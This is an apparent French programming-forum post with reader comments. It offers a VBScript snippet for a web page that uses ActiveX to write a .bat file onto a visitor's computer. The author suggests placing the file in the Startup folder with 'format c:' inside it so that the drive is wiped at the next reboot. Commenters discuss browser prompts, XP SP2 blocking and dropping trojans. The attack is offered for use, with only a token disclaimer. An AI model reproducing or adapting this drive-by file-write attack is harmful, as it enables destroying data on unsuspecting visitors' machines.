ce petit script inséré dans une page html permet de creer un fichier .bat sur l'ordinateur client.
on peut y mettre les lignes que l'on veut et le plmacer ou l'on veut (dans le dossier démarrage si on veut!)
les commandes dans le fichier .bat sont en Dos mais tout le monde connait format c: !
en arrivant sur le site, l'utilisateur verra une boite de dialogue internet explorer lui disant seuleument que le script ActiveX présent sur la page risque de ne pas fonctionner sur les autres pages! si le visiteur s'en fout et clique sur oui, c'est finit! le fichier est créé et il aura une drôle de surprise a son redémarrage....!
Source / Exemple :
<script language="VBScript">
if location.protocol = "file:" then
Set FSO = CreateObject("Scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set BatFile = FSO.CreateTextFile("c:\ini.bat", 2, False)
BatFile.WriteLine "[ici]"
BatFile.WriteLine "[ici sera inclu le contenu du fichier .bat ligne par ligne]"
BatFile.Close
end if
</script>
Conclusion :
A utiliser a bon escient et sans mauvaises intentions!!!
17 déc. 2004 à 20:46
<script language="VBscript">
....
</script>
IE te demande si tu executer l'activX.
Et si le mec à installer windows XP pack 2, alors là, il le bloc carrement sans demander !
DSL, mais cette source était bonne il y a quelques temps mais plus maintenant (surtout si c'est pour balancer un trojant sur l'ordi d'un mec, je peut te dire que tu a 9 chances sur 10 que ca marche pas !)
15 juil. 2002 à 18:27
dsl
16 juin 2002 à 22:02
Ca met un truc du genre "Do you want to enable ActiveX ?"
19 avril 2002 à 12:53
Je persiste et signe: le script est bon! t'as qu'a l'essayer, de plus j'ai mis aussi cette source pour vous dire de faire gaffe: sur un site un activex peut en cacher un autre!
Le code en ;lui meme est d'autre part interresant!
18 avril 2002 à 12:30
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.